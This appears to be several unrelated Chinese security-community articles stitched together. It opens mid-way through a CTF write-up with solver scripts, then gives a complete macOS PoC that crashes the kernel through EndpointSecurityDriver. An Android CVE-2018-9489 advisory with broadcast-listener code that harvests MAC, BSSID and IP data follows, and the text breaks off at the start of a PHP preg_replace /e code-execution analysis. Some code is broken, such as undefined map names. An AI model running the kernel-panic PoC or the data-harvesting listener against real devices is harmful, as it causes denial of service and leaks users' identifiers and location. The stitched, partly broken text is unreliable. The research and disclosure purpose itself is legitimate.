output = [7, 206, 89, 35, 9, 5, 3, 1, 6, 2, 6, 5, 125, 86, 240, 40, 4, 89, 77, 77, 75, 83, 9, 1, 15, 87, 8, 211, 56, 111, 665, 225, 54, 2, 118, 855, 106, 170, 884, 420, 93, 86, 87, 7, 127, 8, 168, 176, 9, 50, 2, 6, 1123, 1129, 5, 198, 2, 37, 104, 51, 50, 103, 1, 113, 1, 1287, 99, 8, 6, 163, 1525, 6, 49, 952, 101, 512, 40, 87, 1, 165, 9]
## init
v6 = output[40];
for i in range(4):
output[8 * i + 40] = output[8 * i + 40-1];
for j in range(2*i+1):
output[3 - i + 9 * (i + 4 - j)] = output[3 - i + 9 * (i + 4 - (j + 1))];
for k in range(2*i+2):
output[k + 9 * (3 - i) + 3 - i] = output[10 * (3 - i) + k + 1];
for l in range(2*i+2):
output[9 * (l + 3 - i) + i + 5] = output[9 * (3 - i + l + 1) + i + 5];
for m in range(2*i+2):
output[9 * (i + 5) + i + 5 - m] = output[9 * (i + 5) + i + 5 - (m + 1)];
output[72] = v6;
## cpuid==0xCAFEBABE
## for i in range(10):
## table[i] ^= t1[i]
## invd(0x4437)
## cpuid==0xDEADBEEF
for i in range(10):
table[i] ^= t2[i]
invd(0x4437)
read_msr(372)
read_msr(374)
invd(0x4433)
vmcall(0x30133403);
vmcall(0x3401CC01);
vmcall(0x36327A09);
vmcall(0x3300CC00);
vmcall(0x3015CC04);
vmcall(0x35289D07);
vmcall(0x3027CC06);
vmcall(873647107);
vmcall(807849222);
vmcall(872947457);
vmcall(856802050);
vmcall(908446725);
vmcall(959499271);
vmcall(925144069);
vmcall(872575488);
vmcall(958622468);
vmcall(875655944);
vmcall(923061250);
invd(0x4434);
vmcall(944971537);
vmcall(875940873);
vmcall(943901706);
vmcall(892914443);
vmcall(928041997);
vmcall(910258445);
vmcall(945146895);
vmcall(928500752);
vmcall(926941196);
vmcall(826736911);
vmcall(826723339);
vmcall(927138318);
vmcall(909512458);
vmcall(827509774);
vmcall(877960210);
vmcall(877728016);
vmcall(877186060);
vmcall(909364232);
invd(0x4437);
vmcall(813747223);
vmcall(930360342);
vmcall(846318612);
vmcall(964938777);
vmcall(880982807);
vmcall(895990805);
vmcall(830997530);
vmcall(0x3965CC12);
vmcall(0x32869C19);
vmcall(0x3785CC1A);
vmcall(0x3281CC18);
vmcall(0x3262DC14);
vmcall(0x3573CC15);
vmcall(0x37566613);
vmcall(0x3161CC11);
vmcall(0x3266CC13);
vmcall(0x39844818);
vmcall(0x3777CC16);
## print(output)
## check = [4, 5, 6, 7, 8, 21, 23, 39, 55]
check = [0, 1, 2, 3, 18, 19, 20, 35, 36, 4, 5, 6, 7, 8, 21, 23, 39, 55, 16, 32, 48, 49, 64, 80, 81, 82, 96, 17, 33, 34, 50, 51, 52, 53, 65, 66, 22, 37, 38, 54, 67, 68, 69, 70, 84, 24, 40, 56, 72, 88, 103, 104, 120, 136, 71, 85, 86, 87, 101, 102, 118, 119, 135, 83, 98, 99, 100, 114, 116, 117, 133, 134, 97, 112, 113, 115, 128, 129, 130, 131, 132]
for j in range(9):
v5 = [0 for i in range(9)]
for i in range(9):
v5[i] = output[((check[i+9*j]&0xf0)>>4)*9 + (check[i+9*j]&0xf)]
print(v5)
final_check(v5)
print(s.check())
## 去重并求出所有解
while(s.check()==sat):
m = s.model()
flag2 = ""
for i in a:
flag2 += chr(m[i].as_long())
print(flag2)
exp = []
for val in a:
exp.append(val!=m[val])
s.add(Or(exp))
### LuckyStar
在TlsCallback中实现了GetProcAddressByHash进行反调试
下文通过lstrcmpW比较进程名来反调试
全部跳过以后以0x61616161作为种子，然后用随机数来解sub_401780的SMC
直接通过即可
另外值得一提的是绕过反调试的时候不知道为什么导致了栈中有了16个字节的偏移，需要自己修复
然后在sub_401780中开启了一个线程播放音乐，主线程会通过Sleep阻塞住等待音乐播放完毕
之后再次用随机数来解sub_4015E0的SMC
在接收29个字节的输入以后，送入sub_4015E0中进行运算，最后跟0x403520处的数组进行比较
这里跟了几次，sub_4015E0都解码失败
这说明中间可能还有某个地方偷偷做了rand()或者srand()
于是进行动调，跑起来以后在rand()和srand()中下断，果然断到
if ( (_BYTE)v4 )
v5 = 0x10001165;
else
v5 = 0x68637466;
v2 = v1 - 17044;
(*(void (__cdecl **)(signed int))(v1 - 17044))(v5);
(*(void (**)(void))(v2 - 4))();
`sub_402510`处还分别调用了一次srand和rand，这里的v4显然是反调，调试状态下会使得种子为`0x10001165`，于是我们令其等于`0x68637466`也就是`hctf`，即可解码sub_4015E0
前半段显然是一个base64，看了一下表只是大小写互换了
后半段则又是调用了rand()，每次取低2位，然后逐个填充字符
这里动调令output为0x00，然后直接dump数据即可
最后求解就是输出内容和随机数据异或后解b64
另外由于输入只要29个字符，导致b64解时出现了不足位的问题，尝试补了等于号都不行，于是就删了一个字符，最后明文补'}'即可
目测dump的时候多拿点数据、到32个字节时应该也能解出吧
xor = [0x08, 0x81, 0x39, 0x8D, 0x40, 0x09, 0x42, 0x14, 0xD0, 0xF2,
0x98, 0x66, 0x33, 0xD6, 0xC9, 0xB2, 0xC1, 0x95, 0xB6, 0x1E,
0xC7, 0x2D, 0x1C, 0xEF, 0xD2, 0xB2, 0x5F, 0x66, 0x8C]
ori = [ 0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC,
0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56,
0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8,
0xCC, 0x05]
import string
from base64 import b64decode
flag2 = ""
for i in range(29):
v = (chr(ori[i]^xor[i]))
if(v in string.ascii_uppercase):
v = v.lower()
elif(v in string.ascii_lowercase):
v = v.upper()
flag2 += v
print(flag2)
print(b64decode(flag2.encode()[:-1]))
### Seven
这是一个64位的驱动，代码量相对不大
从DriverEntry进去各个函数看一下，只有sub_140001210里有一些引人注意的东西
v7[-1].CompletionRoutine = (PIO_COMPLETION_ROUTINE)sub_1400012F0;
这个成员是完成例程，查了一下大体上是有事件的时候交给它处理
第一个参数没有引用直接忽略，第二个参数多次调用，于是搜了一下，发现是Irp指针，按Y指定类型以后可以识别出很多成员名帮助分析
然而有一个地方，`AssociatedIrp`这个union，IDA的结构体和msdn的不同，有点没搞明白，之后有空再调试学习一下
这个其实问题不大，可以之后再说
主逻辑代码量也不大，比较清晰
根据input_pointer的值来修改l_index，分别有-1、+1、-0x10、+0x10四种情况，还有一些边界处理，可以忽略
那么根据上下移动的大小为0x10可以猜出地图宽度为0x10，于是扒出0x140003000处的地图并重绘
****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********
****************
通过提示字符串显然要求终点为7
其他部分可以看出来，所在点是o，碰到*就gameover，离开的地方会重绘为.
那么很容易可以得到移动路径：
14*→ + 2*↓ + ← + 9*(← + ↓)
下一个问题就是怎么处理得到输入
判定值分别为0x11, 0x1e, 0x1f, 0x20，显然不是输入的ASCII
这里就要重新回到驱动的部分了
input_pointer每次后移12个字节（默认IDA是作为Word*来考虑，因此会显示+6），那么显然这是一个12个字节的结构，程序只要通过第一个字节就能识别出输入
思考了一阵子没有得到结果，于是Google一下
用`驱动IRP 0xc AssociatedIrp`的关键词搜到了键盘驱动的文章
> 一个KEYBOARD_INPUT_DATA 的大小为0xc，所以Irp->AssociatedIrp.SystemBuffer ...
很显然，这里是通过KEYBOARD_INPUT_DATA来获取输入的
又查了一下它的值，发现每个键是有两个字节的，不过第一个字节就足够区分按键，分别是`wasd`的INPUT_DATA
于是
print(14*"d"+2*"s"+"a"+9*"as")
得到flag
### PolishDuck
跟Pwnhub血月归来中的Re一题完全一样
用hex2bin转换成二进制，然后IDA装载
根据RESET函数中的`(r31<<8)+r30`找到RAM段，`(0xf0<<8)+r17-0x100`找到长度，dump出来或者直接用IDA读文件即可
关键部分在sub_9A8中，恢复出delay和print两个函数以后，根据print的参数依次打印、eval并转hex，tostring即可
其中print的参数为RAM段的偏移
with open(r"PolishDuck (1).bin", "rb") as f:
data = f.read()
table = data[0x1a50:0x1a50+0x4f0-0x100]
def p(x):
x -= 0x100
buff = ""
while(table[x]!=0):
buff += chr(table[x])
x += 1
## print(table[x])
return buff
exp = ""
## exp += (p(0x140 ))
exp += (p(0x14C ))
exp += (p(0x153 ))
exp += (p(0x162 ))
exp += (p(0x177 ))
exp += (p(0x18B))
exp += (p(0x1A9))
exp += (p(0x1C8))
exp += (p(0x1D3))
exp += (p(0x1EB))
exp += (p(0x1FE))
exp += (p(0x25E ))
exp += (p(0x207))
exp += (p(0x21C))
exp += (p(0x227 ))
exp += (p(0x246 ))
exp += (p(0x261 ))
exp += (p(0x270 ))
exp += (p(0x28B))
exp += (p(0x298))
exp += (p(0x2A3))
exp += (p(0x2B1))
exp += (p(0x25C ))
exp += (p(0x2BA))
exp += (p(0x2C5))
exp += (p(0x2D0))
exp += (p(0x2D7))
exp += (p(0x2F2))
exp += (p(0x307))
exp += (p(0x310))
exp += (p(0x25E ))
exp += (p(0x327 ))
exp += (p(0x346 ))
exp += (p(0x3DC))
exp += (p(0x34D ))
exp += (p(0x364 ))
exp += (p(0x373 ))
exp += (p(0x38F))
exp += (p(0x3A6))
exp += (p(0x3B3))
exp += (p(0x3BF))
exp += (p(0x3D0))
exp += (p(0x3DF))
exp += (p(0x3EF))
exp += (p(0x400))
exp += (p(0x44B ))
exp += (p(0x413))
exp += (p(0x42C ))
exp += (p(0x43B ))
exp += (p(0x44F ))
exp += (p(0x452 ))
exp += (p(0x490))
exp += (p(0x45F ))
exp += (p(0x46C ))
exp += (p(0x47D ))
exp += (p(0x48E))
exp += (p(0x497))
exp += (p(0x49E))
exp += (p(0x4B5))
exp += (p(0x4CB))
exp += (p(0x445 ))
exp += (p(0x445 ))
exp += (p(0x4D6))
exp += (p(0x44D ))
exp += (p(0x44D ))
exp += (p(0x494))
exp += (p(0x4E5))
exp += (p(0x44f))
print(exp)
print(bytes.fromhex(hex(eval(exp))[2:]))
## print(table[0x110])
## Crypto
### xor
flag当key复用，首先3字符测试出长度为21，然后找到每个位置能够使得密文解密后全部可见并且e最多的可能字符，然后人工修正即可获得flag：
a="ciMbOQxffx0GHQtSBB0QSQIORihXVQAUOUkHNgQLVAQcAVMAAAMCASFEGQYcVS8BNh8BGAoHFlMAABwCTSVQC2UdMQx5FkkGEQQAAVMAAQtHRCNLF0NSORscMkkaHABSExIYBQseUmBCFgtSKwEWfwELFRcGbzwEDABHVS8DDAcXfwUcMQwCDUUBCgYYSQEBATNKGwQeOkkbPhsYERYGDB0TYzwCUSVCDE8dKh0BNg4GAAkLSVMWHBpHQCxQF08AOhkWPh1OAA0XRQQRBQJKQyVKFghSMA95Gh8LGhEHBB8YEE4UViFaEQEVfwAdfx0GEUUWAAARGxpHTiFQERx4FkkROgUHERMXRTpUCANtYy9RFk8TLEkHNwxOFhcbAhsASR0STC1GCk8UMwYEOhsdfiEdRR0bHU4QSDRLHR0XO0kGMQ0LEgATERYQSQgORDJaWAsXMgYdfxsbGAB4LRYVGxpHUyFXHU8TMQ1TPRsLFREaDB0TSRoIASJGGR1SKwEWfwUBFQFSChVUHQYCASNWFQ0XLRocMgxkNgoAABd+PRkIKwkDEAoTLQ1TKwELVAgHFhoXRU4BUy9OWBsaOkkeMAYAVAQcAVMXCBwEQDNQci4HJwAfNggcDUUXHQcGDAMCASFGCxsaOh0aPAAdGUUQBBoASRoIASNCCBsHLQxTMgAdABx4IxoYBQcJRmBXEApSNgcHOgcdEUUeDBURRU4FVDQDGQMBMEkVNgUCHQsVRQccDE4XVDJGcjsaOhsWfwgcEUUTCQQVEB1HTCVOFx0bOhpTKwEcGxAVDRwBHU4TSSUDHQ4AKwF5FkkMEQkbAAURSSdHQC0pPAYXO0kSLEkaHABSFAYdDBpHQyVCDRsLfwYVfwgbABAfC1MYDA8RRDMpKwcXMQ5TNhpOGgoGRRAcCAEUDWBQFQAZOkkUOhoaARcXbzYCDABHVilPDE8TMxocfxsLAAQbCxYQSQwITyUDCB0dKg0fJkk/HQsVRTURBwlHTDVQGwMXVSYQPBwCAG8mDQERDGQuAShGGR1SMwYFOkVOPUUQAB8dDBgCASlNWAMdKQx5EwYYEUUbFlMVSR4ITiwDFwlSLB0BKg4JGAwcAlMWBRsCDCdRHQocfwgfOAgLfiQBRRcRGgELQDRGWAIbPBsccgsbBhYGRRwSSRkOTyQpOgMXOg0aMQ5OAA0ACgYTAU4KWGBVHQYcLGMqOggcB0UBERIAAAEJRCQDEQFSKwEWfwsLGAwXA3kyBhsVKwkDGgoeNgwFOkkaHAQGRRIYBU4EQC4DEAoTLWM2KQwAVAQcERoXAB4GVSUDHAYBPBsWKwxCVCxSCBYASRoPRGBMDAcXLUkHNwwHBkUdEh1+OgEKRGBAGQFSMQYHfw4cFRYCRQccDE4KTi1GFht4EwwVK0kaG0UGDRZULA8UVWBXF08VMEkkOhoaWEUGDRZUDQsGRWBODRwGfwccK0kcEREHFx1UHQFHTy9UEAoAOmMgOgxCVCxSEhYVG049QC4DPgMdKAwBLEkBGkUfHFMcDA8DDWBKFk8UKgUffwsCGwofRRIYBgAAATRLHU8FPhBTPgUCVBEaAFMDCBdtZzJGCRoXMR0fJkkDHRYBABdUGgEKRGwDGhoGfwgfLAZOEAAXFR8NSQMIVyVHWA0Lfx4aMQ1CVAMACgAARU4UTy9UWAAAfxsSNgdkMgwEAHkkGw8NTyEDKA4APgQaKwhCVBYdCh1UCB1HUi9MFk8TLGMfNg8LVAcXRRERCBsTSCZWFE8eNgIWfxobGQgXF1MSBQEQRDJQWA4cO0kXOggaHEUeDBgRSQ8SVTVOFk8eOggFOhpkNQkBClMXCBwCASFBFxoGfx4bPh1OHAQB"
js=[0]*32
c=a.decode("base64")
for i in range(len(c)-4):
try3=c[i:i+3]
for j in range(i+1,len(c)-3):
if c[j:j+3]==try3:
print j-i
for x in range(10,32):
if (j-i) % x==0:
js[x]+=1
print js
for i in range(32):
print i,js[i]
###21
already=[]
for i in c:
if i not in already:
already.append(i)
print len(already)
import string
from Crypto.Util.strxor import strxor
def guess(position):
possible=[]
calc_e=[]
for i in string.printable:
js = 0
all = 0
tmp=""
for j in range(position,len(c),21):
if strxor(i,c[j]) in string.printable:
js+=1
all+=1
tmp+=strxor(i, c[j])
if js==all:
possible.append(i)
jj=0
for x in tmp:
if x =='e':
jj+=1
calc_e.append(jj)
return possible,calc_e
for i in range(21):
possible, calc_e = guess(i)
for i in range(len(possible)):
if calc_e[i]>=5:
print possible[i],
print
### xor?rsa
公钥长度为2048bit，随机生成消息m1，m1与一个40bit的随机数异或生成m2。这里m2和m1可以考虑为m1的高2008个bit经过填充获得，所以考虑使用`Coppersmith’s
Short Pad Attack`和 `Franklin-Reiter Related Message Attack`来恢复m1和m2。
使用[脚本](http://inaz2.hatenablog.com/entry/2016/01/20/022936)
# coppersmiths_short_pad_attack.sage
def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5
return diff
def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
if __name__ == '__main__':
print "aaa"
n =
c1 =
c2 =
e = 5
nbits = n.nbits()
kbits = nbits//(2*e*e)
print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)
# ^^ = bit-wise XOR
# http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage
diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff
m1 = related_message_attack(c1, c2, diff, e, n)
print 'hhhha'
print m1
print m1 + diff
## Misc
### Freq game
利用FFT求频域分量
import numpy as np
from pwn import *
import json
Fs=1500
T=1.0/Fs
L=1500
t = np.linspace(0,1,L)
p = remote('150.109.119.46',6775)
log.info(p.recvuntil('this is a sample game'))
log.info(p.recvuntil('hint:'))
p.sendline('y')
log.info(p.recvuntil('input your token:'))
p.sendline('Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
for i in range(8):
data=p.recvuntil(']')
S=json.loads(data)
Y=np.fft.fft(S)
P2=np.abs(Y/L)
P1=P2[0:(L/2+1)]
res=[]
for i in range(len(P1)):
if P1[i]>3:
res.append(str(i))
print(res)
p.send(' '.join(res))
print(p.recv(1024))
### difficult programming language
获取 usb 数据:
tshark -r difficult_programming_language.pcap -T fields -e usb.capdata -Y
'usb.capdata && usb.transfer_type == 0x01 && frame.len == 35 && !(usb.capdata
== 00:00:00:00:00:00:00:00)' >cap.txt
然后用如下脚本跑一下即可:
#! /usr/bin/env python3
#! -*- coding:utf-8 -*-
alphamap = {hex(i)[2:].zfill(2).upper() : [chr(i - 4 + ord('a')), chr(i - 4 + ord('A'))] for i in range(0x4, 0x4 + 26)}
nummap = { "1E":["1", "!"], "1F":["2", "@"], "20":["3", "#"], "21":["4", "$"], "22":["5", "%"],
"23":["6", "^"], "24":["7", "&"], "25":["8", "*"], "26":["9", "("], "27":["0", ")"]}
othermap = { "1E":["1", "!"], "1F":["2", "@"], "20":["3", "#"], "21":["4", "$"], "22":["5", "%"],
"23":["6", "^"], "24":["7", "&"], "25":["8", "*"], "26":["9", "("], "27":["0", ")"],
"28":"<ENTER>", "29":"<ESC>", "2A":"<DEL>", "2B":"<TAB>",
"2C":" ",
"2D":["-", "_ "], "2E":["=", "+"], "2F":["[","{"], "30":["]","}"], "31":["\\","|"],
"32":"<?>",
"33":[";",":"], "34":["'",'"'], "35":["`","~"], "36":[",","<"], "37":[".",">"],
"38":["/","?"] }
usbmap = {**alphaidx, **numidx, **otheridx}
rst = list()
with open("cap.txt", "r") as _:
for line in _.readlines():
vals = line.split(":")
ctrl, key = vals[0], vals[2].upper()
if key == "00": continue
if key in usbmap.keys():
if int(ctrl) == 2 :
presskey = usbmap[key][1] if len(usbmap[key]) > 1 else "<?>"
else:
presskey = usbmap[key][0]
rst.append(presskey)
else:
print("<??> => {:s}".format(key))
print(''.join(rst[:-1]))
主要是控制字符也需要正确处理. 然后到 <http://malbolge.doleczek.pl/> 跑一下就行了
## blockchain
### ez2win
开始说要逆向，我连看都没看，后来给了源码，就是2分钟的事情了==
审计，发现存在如下函数
function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);
require(to != address(0));
require(value <= 10000000);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
}
可以未授权直接运行，而合约创建者有：
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
这么多的token，直接trasfer到我的账户上，然后payforflag就行了 | 社区文章 |
**作者：Peterpan0927
原文链接：<https://peterpan0927.github.io/2020/02/20/local-DOS-on-latest-macOS/#more>**
# 前言
这个漏洞的具体表现形式为空指针解引用造成的`kernel
panic`，由于苹果的安全团队评估之后认为不能造成具体的安全隐患，所以在这里放出来漏洞描述和poc，希望安全界的同行们能够互相学习交流。
# 背景知识
1. 了解苹果的`IOKit`机制，可以参考`OS X和iOS内核编程`
2. 用户态和内核扩展的交互
# Poc
下面的代码在`macOS 10.15 beta`到`macOS 10.15.2`都是可以触发的，最新版本上还没有测试过：
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>
int main(int argc,char *argv[]){ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("EndpointSecurityDriver"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);
kern_return_t err;
// open a userclient:
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 8, &conn);
if (err == KERN_SUCCESS){
printf("get user client connection\n");
}
//input data
uint64_t input[10];
uint32_t value=0x0;
memset(input,0,sizeof(input));
printf("got userclient connection: %x\n", conn);
err = IOConnectCallMethod(conn,0x0,input,value,NULL,0,NULL,NULL,NULL,NULL);
if(err != KERN_SUCCESS) printf("no\n");
else printf("success\n");
IOServiceClose(conn);
return 0;
}
编译指令：
cc dos.c -framework IOKit -o dos
接下来运行一下就可以直观的看到效果了，下面就来分析一下问题所在
# 问题发生点
通过对内核扩展的代码审计我们可以很容易的发现这其实是一个逻辑问题，`EndPointSecurity.kext`主动的重写了`newUserClient`这个方法，但如果`type`参数不是0或1的话依然会返回`KERN_SUCCESS`，`KERN_SUCCESS`就会让内核错误的认为函数调用成功，从而执行接下来的步骤，但事实上对应的`client`并没有得到成功的创建，所以在之后用到`client`事实上在内存中是并不存在的，最终就会表现为空指针报错，我将重写过的函数关键部分摘出来如下：
__int64 __fastcall EndpointSecurityDriver::newUserClient(__int64 a1, IOUserClient *a2, const char *a3, int a4, __int64 a5, EndpointSecurityExternalClient **a6)
{
v8 = a4;
...if ( v8 == 1 ){
...
}
if ( v8 )
goto LABEL_20;
...
v10 = 0;
LABEL_20:
if ( (unsigned int)gLogLevel_ >= 4 )
_os_log_internal(
&dword_0,
&_os_log_default,
2LL, _ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,
"virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)");
return v10;
}
也就是说我们在用户态的调用`IOServiceOpen`的时候只要传递的`type`参数不是0或1就会触发`panic`，从这个角度我们也可以发现苹果的一些代码质量并不是很高，从这些角度出发，我们可能会发现一些意想不到的问题，针对薄弱点进行攻击相对来说是一种省时省力的方式。
* * * | 社区文章 |
原文地址：<https://wwws.nightwatchcybersecurity.com/2018/08/29/sensitive-data-exposure-via-wifi-broadcasts-in-android-os-cve-2018-9489/>
# 概要
**Android OS** 的系统广播会将关于用户设备的信息向所有正在设备上运行的app公开。包括 **WIFI 网络名称** ， **BSSID** ，
**本地 IP 地址** ， **DNS 服务器信息** ， **MAC 地址** 。其中一些信息（像 MAC 地址）在 Android
6及之后的版本不再通过 API提供，而其他的信息通常来说都访问权限。然而，通过监听广播，任何设备上的应用都可以获取到这些信息，直接绕过了权限检查和防范手段。
因为 MAC 地址不会变，而且是和硬件绑定的，因此即便使用 MAC 随机化，它还是 **可以用来唯一标识和追踪任何 Android设备** 。网络名称和
BSSID 可用于通过查找 BSSID
数据库（比如[WiGLE](https://wigle.net/)和[SkyHook](https://www.skyhookwireless.com/)）来
**定位用户的物理位置** 。其他的网络信息可以被恶意软件用于在本地 WIFI 网络中进行探索甚至进行攻击
**所有设备上运行的所有Android版本都被认为会受到影响，包括一些分支** （例如亚马逊的Kindle FireOS）。厂商（ **Google**
）修复了 **Android P / 9** 的 bug，但是并不打算修复旧版本的问题，GOOGLE鼓励用户更新到 **Android P / 9**
或更新的版本。GOOGLE 已指定 **CVE-2018-9489** 来跟踪此问题，并建议进一步研究以确定其是否会被在野利用。
# 背景
**Android** 是一个由 **Google** 开发的、开源的、用于手机和平板的操作系统。据估计，全球大概有20亿设备运行
Android。Android 上的应用被系统分隔开，同时也和系统隔离。但是，通过某些机制仍然可以实现进程和/或OS之间的交互。
特别的，Android提供“ **Intents**
”作为进程间通信的的一种方式。使用“Intent”的广播允许应用或者操作系统在系统范围内发送可被其他应用接收到的消息。虽然存在限制使用者读取这些信息的策略，但是开发者通常不会正确的实现限制策略或者敏感数据脱敏。这就导致了
Android 应用的公共漏洞，恶意软件可以监测和截获其他应用广播的信息。
Android 的另一个安全机制是 **权限** 。这是为了保护用户隐私而设计的。应用程序必须通过应用程序清单（“
**AndroidManifest.xml** ”）中的特殊“ **uses-permission**
”标记明确请求访问某些信息或功能。根据权限的类型（“normal”，“dangerous”,
等等），系统可能会在用户安装程序时显示权限信息，也有可能在程序运行时再次提示。一些权限只能被系统使用，普通的开发者是不可使用的。
Google Play 和程序运行时的权限截图：
# 漏洞细节
**Android OS** 使用两个 intent 定期广播关于 WIFI 连接和 WIFI
网络接口的信息：WifiManager的[NETWORK_STATE_CHANGED_ACTION](https://developer.android.com/reference/android/net/wifi/WifiManager#NETWORK_STATE_CHANGED_ACTION)和WifiP2pManager的[WIFI_P2P_THIS_DEVICE_CHANGED_ACTION](https://developer.android.com/reference/android/net/wifi/p2p/WifiP2pManager#WIFI_P2P_THIS_DEVICE_CHANGED_ACTION)。信息包括
**设备MAC 地址** ，WIFI 接入点的 **BSSID** 和 **网络名称** ，以及各种网络信息，比如 **本地IP 地址范围** 网关 IP
**和** DNS 服务器地址**。这些信息可以被任何运行在设备上的 app 使用。
虽然 app
也可以通过[WifiManager](https://developer.android.com/reference/android/net/wifi/WifiManager)获取这些信息，但通常需要在应用清单里添加[“ACCESS_WIFI_STATE”](https://developer.android.com/reference/android/Manifest.permission#ACCESS_WIFI_STATE)权限。通过
WIFI
获取地理位置通常需要[“ACCESS_FINE_LOCATION”](https://developer.android.com/reference/android/Manifest.permission#ACCESS_FINE_LOCATION)或[“ACCESS_COARSE_LOCATION”](https://developer.android.com/reference/android/Manifest.permission#ACCESS_COARSE_LOCATION)权限。在
**Android 6.0或更高版本**
中，[不再通过](https://developer.android.com/about/versions/marshmallow/android-6.0-changes#behavior-hardware-id)API提供真实的 MAC
地址，并且总是返回“02:00:00:00:00:00”。然而，一个监听系统广播的应用并不需要这些权限，因此可以在用户不知情的情况下获取这些信息，并且在
**Android 6或更高版本** 中获取到这些信息。
一个 APP 在 Android 7.0上尝试获取 MAC地址时的截图：
我们使用不同硬件和不同Android版本的设备在 test farm进行了实验。所有的硬件和所有的 Android
版本都确认了这个行为，即使有的设备不会在“[NETWORK_STATE_CHANGED_ACTION](https://developer.android.com/reference/android/net/wifi/WifiManager#NETWORK_STATE_CHANGED_ACTION)”intent
中展示真实的 MAC
地址，但在“[WIFI_P2P_THIS_DEVICE_CHANGED_ACTION](https://developer.android.com/reference/android/net/wifi/p2p/WifiP2pManager#WIFI_P2P_THIS_DEVICE_CHANGED_ACTION)”intent
中一样会展示出来。我们也测试了至少一个分支（Kindle 使用的Amazon FireOS），这些设备展示了同样的信息。
# 普通用户复现的步骤
对于 Android 设备用户，你可以通过以下步骤来复现：
1. 从 Google Play中安装由Vilius Kraujutis开发的[Internal Broadcasts Monitor](https://play.google.com/store/apps/details?id=lt.andro.broadcastlogger)。
2. 打开app，点击“Start”来监控广播。
3. 注意系统广播，特别是“android.net.wifi.STATE_CHANGE” 和 “android.net.wifi.p2p.THIS_DEVICE_CHANGED”。
样例截图：
# 开发者通过代码复现的步骤
为了使用代码复现，创建一个广播监听器，然后将其注册以监听这些活动：
1. “android.net.wifi.WifiManager.NETWORK_STATE_CHANGED_ACTION”
2. “android.net.wifi.WifiP2pManager.WIFI_P2P_THIS_DEVICE_CHANGED_ACTION”
样例代码如下：
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle state) {
IntentFilter filter = new IntentFilter();
filter.addAction(
android.net.wifi.WifiManager.NETWORK_STATE_CHANGED_ACTION);
filter.addAction(
android.net.wifi.WifiP2pManager.WIFI_P2P_THIS_DEVICE_CHANGED_ACTION);
registerReceiver(receiver, filter);
}
BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Log.d(intent.toString());
….
}
};
# 厂商回应与缓解措施
厂商（Google）在 **Android P/9** 中修复了这些问题。因为修改 API 将会是一项重大的更新，所以厂商并不打算修补之前的 Android
版本。建议用户升级到 **Android P/9** 或更新版本。
亚马逊已就其Android分支（FireOS）做出如下回应：
> 我们计划在设备过渡到新版Fire OS时解决此问题
# 参考
Android ID＃77286245
CVE ID：[CVE-2018-9489](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9489)
Google Bug＃77236217
GitHub：[内部广播监视器](https://github.com/ViliusKraujutis/AndroidBroadcastsMonitor)
# 致谢
我们要感谢Vilius Kraujutis开发内部广播监视器app并在GitHub中提供源代码。
该通报由Yakov Shafranovich撰写。 | 社区文章 |
## 前言
本文将深入研究 **preg_replace** **/e** 模式下的代码执行问题，其中包括 **preg_replace**
函数的执行过程分析、正则表达式分析、漏洞触发分析，当中的坑非常多，相信看完本文，你一定会有所收获。下面是 **七月火** 和 **l1nk3r**
的分析结果。
## 案例
下面先看一个案例，思考如何利用此处的 **preg_replace** **/e** 模式，执行代码（可以先不看下文分析，自己思考出 **payload**
试试）。
这个案例实际上很简单，就是 **preg_replace** 使用了 **/e**
模式，导致可以代码执行，而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道， **preg_replace**
函数在匹配到符号正则的字符串时，会将替换字符串（也就是上图 **preg_replace** 函数的第二个参数）当做代码来执行，然而这里的第二个参数却固定为
**'strtolower("\\\1")'** 字符串，那这样要如何执行代码呢？
## 爬坑1
上面的命令执行，相当于 **eval('strtolower("\\\1");')** 结果，当中的 **\\\1** 实际上就是 **\1** ，而
**\1** 在正则表达式中有自己的含义。我们来看看
[**W3Cschool**](https://www.w3cschool.cn/zhengzebiaodashi/regexp-syntax.html)
中对其的描述：
> **反向引用**
>
> 对一个正则表达式模式或部分模式 **两边添加圆括号** 将导致相关 **匹配存储到一个临时缓冲区**
